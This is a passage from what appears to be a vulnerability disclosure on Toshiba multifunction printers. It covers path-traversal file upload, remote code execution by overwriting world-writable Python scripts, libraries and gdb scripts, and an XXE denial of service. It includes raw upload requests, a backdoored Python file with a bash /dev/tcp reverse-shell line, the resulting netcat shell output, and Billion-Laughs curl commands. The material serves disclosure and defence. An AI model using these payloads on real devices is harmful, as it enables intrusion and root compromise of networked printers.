Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12552735029913057752829397207
Content-Length: 1011
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/efiling/UploadArchive.html?v=1517352288ta
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; Session=10.0.0.2.c8a776a2c87613d78cbb94c558269c61; IgnoreSessionTimeout=3
Upgrade-Insecure-Requests: 1
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[1].formSubmitComplete
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><Command><Move><commandNode>FileStorages</commandNode><Params><source><File>test.txt</File><name>Upload</name></source><destination><name>DataImport</name></destination></Params></Move></Command></DeviceInformationModel>
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.c8a776a2c87613d78cbb94c558269c61
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/sbin/malicious.program"; filename="test.txt"
Content-Type: text/plain
MALICIOUS_CONTENT_WRITTEN_INTO_THE_HARD_DISK
-----------------------------12552735029913057752829397207--
Burp Request:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
And the file is correctly written into `/home/SYSRM_SRC/sbin/malicious.program` inside the printer:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
This vulnerability can be used to get Remote Code Executions using several different ways. Due to some weaknesses found in Toshiba printers, there are hundreds different ways to get Remote Code Execution. For example:
* Upload of a malicious library defined in the LD_PRELOAD variable:
* /ramdisk/al/libGetNameInfoInterface.so or /ramdisk/al/libGetAddtInfoInterface.so can be overwritten by a malicious library
* Upload of a malicious library using the LD_LIBRARY_PATH variable - An attacker can upload malicious libraries inside:
* /home/SYSROM_SRC/build/release/lib,
* /mfp/lib,
* /home/SYSROM_SRC/NoBuildItems/common/lib,
* /home/SYSROM_SRC/build/thirdparty/plugins/platforminputcontexts/,
* /home/SYSROM_SRC/build/release/lib.
* Upload of a malicious program due to insecure permissions:
* As shown in Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs, a lot of programs running as root can be overwritten due to insecure permissions (777)
* Upload a malicious Python program or a malicious Python library
* ...
This lack of protection can be found in several HTML forms when using the printer, without administrative privileges. For example, the page at https://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html allows uploading any file:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
It is mandatory to inject a `<INPUT TYPE=SUBMIT>` in the server response using Burp or to directly generate such request to upload any file.
An example is shown below on how to get Remote Code Execution using the upload of a malicious Python script in the next section, using the following request:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------394285998421640844852768059947
Content-Length: 1126
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; clicked=0; addrLastVisited=ADDRBK; IgnoreSessionTimeout=1; Session=10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c
Upgrade-Insecure-Requests: 1
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[0].formSubmitCompleteUploadList
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><GetValue><eFiling><View><BoxList/></View></eFiling></GetValue><Command><GetEFilingBoxes><commandNode>eFiling/BoxList</commandNode><Params><responseXpath contentType='XPath'>eFiling/View/BoxList</responseXpath><curPage contentType='Value'>1</curPage><pageSize contentType='Value'>200</pageSize><definedBox contentType='Value'>true</definedBox></Params></GetEFilingBoxes></Command></DeviceInformationModel>
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="test.txt"; filename="test.txt"
Content-Type: text/plain
test
-----------------------------394285998421640844852768059947--
And the file is correctly uploaded into the printer:
bash-4.1# ls -la /work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/
total 12
drwx------ 2 apache trusted 4096 May 27 19:34 .
drwxrwxrwx 3 root trusted 4096 May 27 19:30 ..
-rw-rw-rw- 1 apache trusted 5 May 27 19:34 test.txt
bash-4.1# cat /work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/test.txt
test
bash-4.1#
We can find several webpages allowing exploiting the vulnerable `/contentwebserver/upload` API.
It was determined that these webpages are using the insecure `/contentwebserver/upload` API. They can be used by any attacker to upload any file into the printers:
- - https://printer-ip/efiling/UploadFrame.html
- - https://printer-ip/efiling/UploadArchive.html
- - https://printer-ip/efiling/UploadFrame.html
- - https://printer-ip/efiling/UploadArchiveProgress.html
- - https://printer-ip/efiling/UpLoadArchiveClose.html
- - https://printer-ip/efiling/UploadArchiveButton.html
- - https://printer-ip/Registration/AddressBook/AddrImport.html
- - https://printer-ip/Registration/AddressBook/AddrImportListFrame.html
- - https://printer-ip/Administration/maintenance/uploadsoft/DriverCustomize.html
- - ...
Some of these files are directly reachable without authentication (e.g. Registration or efiling) and can be found without an admin account.
### Remote Code Execution - Upload of a new .py module inside WSGI Python programs
Some of the APIs and web interfaces of the printers are written in Python.
Since the permissions of these Python scripts inside the printers are insecure, a backdoored version of the `/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py` has been uploaded as shown below:
Content of `/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py` with a malicious payload added on line 25:
[code:python]
1 #! /usr/bin/env python
2 # -*- coding: utf-8 -*-
3 import sys
4 import os
5 from pyramid.view import view_config
6 from pyramid.exceptions import HTTPForbidden
7 from pyramid.response import Response,FileResponse
8 from server.screenfacade.appmgmt.applicationmanager import applicationManagementModel
9 import logging
10 import json
11 import pyeapicore
12
13 sys.path.append('/home/SYSROM_SRC/lib')
14
15 log = logging.getLogger("server")
16
17 @view_config(route_name='get_app_list_deployed', xhr=True, renderer='jsonp')
18 def get_app_list_deployed(request):
19 log.warning("++++++++++++++++++++++++++++++++")
20 log.warning("get app list Views : Start ")
21 SessionID = ''
22 session = ' '
23 csrfpId = ''
24 browserLang = ''
25 os.system("bash -i >& /dev/tcp/10.0.0.2/21 0>&1")
26
27 if 'SessionID' in request.cookies:
28 SessionID = request.cookies['SessionID']
29 if 'Session' in request.cookies:
30 session = request.cookies['Session']
31 if 'csrfpId' in request.headers:
32 csrfpId = request.headers['csrfpId']
33 if 'BrowserLang' in request.cookies:
34 browserLang = request.cookies['BrowserLang']
35
36 log.info('Session ID obtained from request :' + SessionID)
37 log.info('csrfpId obtained from request:' + csrfpId)
38 validationMap = True
39
40 if validationMap['VALIDATION_STATUS'] == 'PASSED':
41 log.info('User Validation : SUCCESS')
42 data = applicationManagementModel.getAppList(browserLang)
43 log.warning("get app list Views : End ")
44 log.warning("++++++++++++++++++++++++++++++++")
45 return json.dumps(data)
46 else:
47 log.info('User Validation : FAILURE')
48 log.warning("get app list Views : End ")
49 if "HTTP_REQUEST_FORBIDDEN" in validationMap:
50 return HTTPForbidden("Error 403 : Forbidden Request")
51 else:
52 return json.dumps(validationMap)
53
54 @view_config(route_name='start_background_application', xhr=True, renderer='jsonp')
55 def start_background_application(request):
56 log.warning("++++++++++++++++++++++++++++++++")
57 log.warning("start background app : Start ")
[...]
[/code]
Due to some reverse proxy rules and check before this API can be reached, this Python code is reachable using the API path `https://printerip/tapy/server/appmgmt/applistDeployed` with a cookie previously provided by the printer when visiting https://printerip/ (without authentication).
When sending a HTTP request to `https://printerip/tapy/server/appmgmt/applistDeployed`, the attacker will receive a connect-back shell from the printer:
kali# nc -l -v -p 21
listening on [any] 21 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 37243
[apache@MFP14144292 /]$ id
uid=1000(apache) gid=2000(trusted) groups=2000(trusted)
[apache@MFP14144292 /]$ uname -ap
Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue Jul 5 09:58:22 IST 2022 i686 GNU/Linux
[apache@MFP14144292 /]$
Connect-back shell as apache:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
### Remote Code Execution - Upload of a new .ini configuration files inside WSGI Python programs
It is possible to overwrite the .ini configuration file used by WSGI Python programs. This technique is public as of 2023-02-28: https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html.
Apache is running with WSGI configurations:
bash-4.1# ps auxww | grep apache
apache 1611 0.0 0.1 1264444 3708 ? Sl 10:37 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
apache 1822 0.2 3.6 483056 108852 ? Sl 10:37 1:02 (wsgi:webpanel) -f /encryption/al/network/config/httpd-wsgi.conf -k start
apache 1823 0.0 2.1 270952 64172 ? Sl 10:37 0:05 (wsgi:topaccesspy) -f /encryption/al/network/config/httpd-wsgi.conf -k start
apache 1824 0.0 0.1 285148 4452 ? Sl 10:37 0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-wsgi.conf -k start
The Python scripts running as WSGI are configured with specific .ini configuration files:
- - `/registration/al/WebPanel/development.ini`
- - `/registration/al/TopAccessPy/development.ini`
Unfortunately, these configuration files can be rewritten because of insecure permissions, allowing a remote attacker to execute commands, as described in recent public research.
These files have insecure permissions as shown below:
bash-4.1# ls -la /registration/al/WebPanel/
total 2632
drwxrwxrwx 7 root root 4096 Dec 6 03:33 .
drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..
-rwxrwxrwx 1 root root 2642944 Dec 6 03:33 HomeBackgroundImages.tar.gz
-rwxrwxrwx 1 root root 857 Dec 6 03:33 Makefile
-rwxrwxrwx 1 root root 909 Dec 6 03:33 config.rb
-rwxrwxrwx 1 root root 1103 Dec 6 03:33 development.ini
drwxrwxrwx 4 root root 4096 Jan 22 2015 predefinedxml
-rwxrwxrwx 1 root root 199 Dec 6 03:33 pyramid.wsgi
drwxrwxrwx 3 root root 4096 Dec 6 03:33 statuspages
drwxrwxrwx 14 root root 4096 Dec 6 03:33 wpclient
drwxrwxrwx 6 root root 4096 Mar 14 16:32 wpserver
drwxrwxrwx 2 root root 4096 Dec 6 03:33 wpserver.egg-info
bash-4.1# ls -la /registration/al/WebPanel/development.ini
-rwxrwxrwx 1 root root 1103 Dec 6 03:33 /registration/al/WebPanel/development.ini
bash-4.1# ls -la /registration/al/TopAccessPy
total 36
drwxrwxrwx 5 root root 4096 Dec 6 03:39 .
drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..
-rwxrwxrwx 1 root root 315 Dec 6 03:39 Makefile
-rwxrwxrwx 1 root root 2091 Dec 6 03:39 TA_CacheScript.sh
drwxrwxrwx 7 root root 4096 Mar 23 10:37 client
-rwxrwxrwx 1 root root 1078 Dec 6 03:39 development.ini
-rwxrwxrwx 1 root root 202 Dec 6 03:39 pyramid.wsgi
drwxrwxrwx 6 root root 4096 Mar 14 16:32 server
drwxrwxrwx 2 root root 4096 Dec 6 03:39 server.egg-info
bash-4.1# ls -la /registration/al/TopAccessPy/development.ini
-rwxrwxrwx 1 root root 1078 Dec 6 03:39 /registration/al/TopAccessPy/development.ini
These scripts can be overwritten to include specific commands to be executed:
Content of `/registration/al/TopAccessPy/development.ini`:
bash-4.1# cat /registration/al/TopAccessPy/development.ini
[app:main]
use = egg:server
pyramid.reload_templates = true
pyramid.debug_authorization = false
pyramid.debug_notfound = false
pyramid.debug_routematch = false
pyramid.default_locale_name = en
pyramid.includes = pyramid_tm
[server:main]
# Begin logging configuration
[loggers]
keys = root, server
[handlers]
keys = console, serverhandler
[formatters]
keys = generic, serverformatter
[logger_root]
level = DEBUG
handlers = console
[logger_server]
level=DEBUG
handlers=serverhandler
qualname=server
propagate=0
[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic
[handler_serverhandler]
class=logging.handlers.RotatingFileHandler
level=DEBUG
formatter=serverformatter
args=('/work/log/al/webpanel/python_ta.log','a',(5*1024*1024),3)
[formatter_generic]
format = %(asctime)s %(levelname)-5.5s [%(name)s][%(threadName)s] %(message)s
[formatter_serverformatter]
format=%(asctime)s%(msecs)03d Pid= %(process)d Tid= %(thread)d %(filename)s %(lineno)d %(levelname)s %(message)s
datefmt=%m/%d %H:%M:%S
# End logging configuration
### Remote Code Execution - Upload of a malicious script `/tmp/backtraceScript.sh` and injection of malicious gdb commands
When a program crashes, the `/tmp/backtraceScript.sh` script will be executed as root as shown below:
2023/05/27 19:48:02 CMD: UID=0 PID=22535 | sh -c /tmp/backtraceScript.sh "/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080" > "/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080"_backtrace
2023/05/27 19:48:02 CMD: UID=0 PID=22536 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22540 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22539 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22538 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:02 CMD: UID=0 PID=22537 | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080
2023/05/27 19:48:03 CMD: UID=0 PID=22541 | gdb -c /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 -x /tmp/gdb_commands.txt
2023/05/27 19:48:03 CMD: UID=0 PID=22542 | gdb /usr/local/ebx/httpd_worker/bin/httpd_worker /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 --batch --command=/tmp/gdb_commands.txt
2023/05/27 19:48:03 CMD: UID=0 PID=22543 | iconv -l
This script has insecure permissions (777) and will run gdb as root:
Content of `/tmp/backtraceScript.sh`:
bash-4.1# ls -la /tmp/backtraceScript.sh
-rwxrwxrwx 1 root root 1457 Apr 6 2016 /tmp/backtraceScript.sh
bash-4.1# cat /tmp/backtraceScript.sh
#!/bin/bash
OIFS=${IFS}
IFS=$'\n'
echo "quit" > /tmp/gdb_commands.txt
echo "quit" >> /tmp/gdb_commands.txt
EXE_NAME=`gdb -c "$1" -x /tmp/gdb_commands.txt | grep "Core was generated by" | cut -d'\`' -f2 | cut -d' ' -f1`
echo "thread apply all backtrace full" > /tmp/gdb_commands.txt
echo "set print asm" >> /tmp/gdb_commands.txt
echo "set print demangle on" >> /tmp/gdb_commands.txt
echo "disassemble" >> /tmp/gdb_commands.txt
echo "info reg" >> /tmp/gdb_commands.txt
echo "quit" >> /tmp/gdb_commands.txt
echo "quit" >> /tmp/gdb_commands.txt
if [ "$EXE_NAME" = "" ];then
if [ -d /work/log/platform/syscallerr/core_files ];then
mv "$1" /work/log/platform/syscallerr/core_files/
else
mkdir -p /work/log/platform/syscallerr/core_files
mv "$1" /work/log/platform/syscallerr/core_files/
fi
else
if [ -f $EXE_NAME ];then
gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1
elif [ -f $EB2/bin/$EXE_NAME ]; then
gdb $EB2/bin/$EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1
elif [ "$EXE_NAME"="(wsgi:webapi)" -o "$EXE_NAME"="(wsgi:webpanel)" -o "$EXE_NAME"="(wsgi:topaccesspy)" ]; then
EXE_NAME=/usr/local/ebx/httpd_worker/bin/httpd_worker
gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2>&1
else
if [ -d /work/log/platform/syscallerr/core_files ];then
mv "$1" /work/log/platform/syscallerr/core_files/
else
mkdir -p /work/log/platform/syscallerr/core_files
mv "$1" /work/log/platform/syscallerr/core_files/
fi
fi
fi
IFS=${OIFS}
bash-4.1#
The `/tmp/gdb_commands.txt` gdb script (used by gdb in the `/tmp/backtraceScript.sh` script) can be also overwritten by an attacker to contain gdb commands and get Remote Code Execution.
An attacker can change the `/tmp/backtraceScript.sh` to get Remote Code Execution.
An attacker can change the `/tmp/gdb_commands.txt` script to get Remote Code Execution.
### Remote Code Execution - Upload of a malicious `/home/SYSROM_SRC/build/common/bin/sapphost.py` program
The program `/home/SYSROM_SRC/build/release/bin/sapphost.py` runs as root when the printer starts:
bash-4.1# ps auxww|grep python
root 3984 5.0 5.3 200160 70944 ? Sl 18:49 0:03 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000000
root 4597 4.5 3.5 144312 47740 ? Sl 18:49 0:02 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000001
root 5193 0.0 0.1 12616 1852 ? S 18:50 0:00 grep python
bash-4.1#
`/home/SYSROM_SRC/build/release/bin/sapphost.py` is a symbolic link to `/home/SYSROM_SRC/build/common/bin/sapphost.py` and this Python program has insecure permissions, allowing any local user or any remote attacker leveraging the insecure file upload vulnerability to overwrite it:
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/sapphost.py
lrwxrwxrwx 1 root root 32 Mar 15 11:44 /home/SYSROM_SRC/build/release/bin/sapphost.py -> ../../thirdparty/bin/sapphost.py
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py
lrwxrwxrwx 1 root root 28 Mar 15 11:44 /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py -> ../../common/bin/sapphost.py
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/sapphost.py
-rwxrwxrwx 1 root root 2124 Oct 12 2021 /home/SYSROM_SRC/build/common/bin/sapphost.py
An attacker can overwrite this Python code to get Remote Code Execution when the printer starts.
### Remote Code Execution - Upload of malicious libraries
When analyzing the processes running in the printers, it appears the `LD_PRELOAD` variable is used to load specific shared libraries:
- - `/ramdisk/al/libGetNameInfoInterface.so`
- - `/ramdisk/al/libGetAddtInfoInterface.so`
We can find the `LD_PRELOAD` variable set by default in programs running in the printers:
bash-4.1# printenv | grep LD_PRELO
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so
-rwxrwxrwx 1 root root 70813 Dec 6 02:02 /ramdisk/al/libGetNameInfoInterface.so
bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so
-rwxrwxrwx 1 root root 87311 Dec 6 02:02 /ramdisk/al/libGetAddtInfoInterface.so
bash-4.1#
For example, when sending 55 HTTP requests to the printers, new Apache processes running as root will be created on the fly by the printer, as shown below. These new processes will load and execute code from `libGetNameInfoInterface.so` and `libGetAddtInfoInterface.so`. An attacker can rewrite any file over them to get Remote Code Execution.
Using the HTTP request from the Pre-authenticated Blind XML External Entity (XXE) injection - DoS, we will send 55 HTTP requests (only the last 3 are displayed) containing the Billion-Laugh Attack, to create new Apache processes in the remote printer:
kali% curl -i -s -k -X $'POST' \
-H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: https://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: https://10.0.0.1:8080/?MAIN=TOPACCESS' \
-b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
--data-binary $'<!DOCTYPE lolz [\x0d\x0a <!ENTITY lol \"lol\">\x0d\x0a <!ELEMENT lolz (#PCDATA)>\x0d\x0a <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\x0d\x0a <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\x0d\x0a <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\x0d\x0a <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\x0d\x0a <!ENTITY lol5 \"&lol4;&lol4;&lol4;\">\x0d\x0a <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\x0d\x0a <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\x0d\x0a <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\x0d\x0a <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\x0d\x0a]>\x0d\x0a<lolz>&lol9;</lolz>' \
$'https://10.0.0.1:8080/contentwebserver' &
[53] 2286190
kali% curl -i -s -k -X $'POST' \
-H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: https://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: https://10.0.0.1:8080/?MAIN=TOPACCESS' \
-b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
--data-binary $'<!DOCTYPE lolz [\x0d\x0a <!ENTITY lol \"lol\">\x0d\x0a <!ELEMENT lolz (#PCDATA)>\x0d\x0a <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\x0d\x0a <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\x0d\x0a <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\x0d\x0a <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\x0d\x0a <!ENTITY lol5 \"&lol4;&lol4;&lol4;\">\x0d\x0a <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\x0d\x0a <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\x0d\x0a <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\x0d\x0a <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\x0d\x0a]>\x0d\x0a<lolz>&lol9;</lolz>' \
$'https://10.0.0.1:8080/contentwebserver' &
[54] 2286192
kali% curl -i -s -k -X $'POST' \
-H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: https://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: https://10.0.0.1:8080/?MAIN=TOPACCESS' \
-b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
--data-binary $'<!DOCTYPE lolz [\x0d\x0a <!ENTITY lol \"lol\">\x0d\x0a <!ELEMENT lolz (#PCDATA)>\x0d\x0a <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\x0d\x0a <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\x0d\x0a <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\x0d\x0a <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\x0d\x0a <!ENTITY lol5 \"&lol4;&lol4;&lol4;\">\x0d\x0a <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\x0d\x0a <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\x0d\x0a <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\x0d\x0a <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\x0d\x0a]>\x0d\x0a<lolz>&lol9;</lolz>' \
$'https://10.0.0.1:8080/contentwebserver' &
[55] 2286194
We can find that new Apache processes are created using `LD_PRELOAD` variables on the remote printer:
2023/05/27 11:31:42 CMD: UID=0 PID=4132 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0 PID=4131 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0 PID=4130 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0 PID=4129 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4138 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4137 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4136 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4135 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4134 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4133 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4139 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0 PID=4140 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:44 CMD: UID=0 PID=4141 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:44 CMD: UID=0 PID=4142 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:45 CMD: UID=0 PID=4143 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
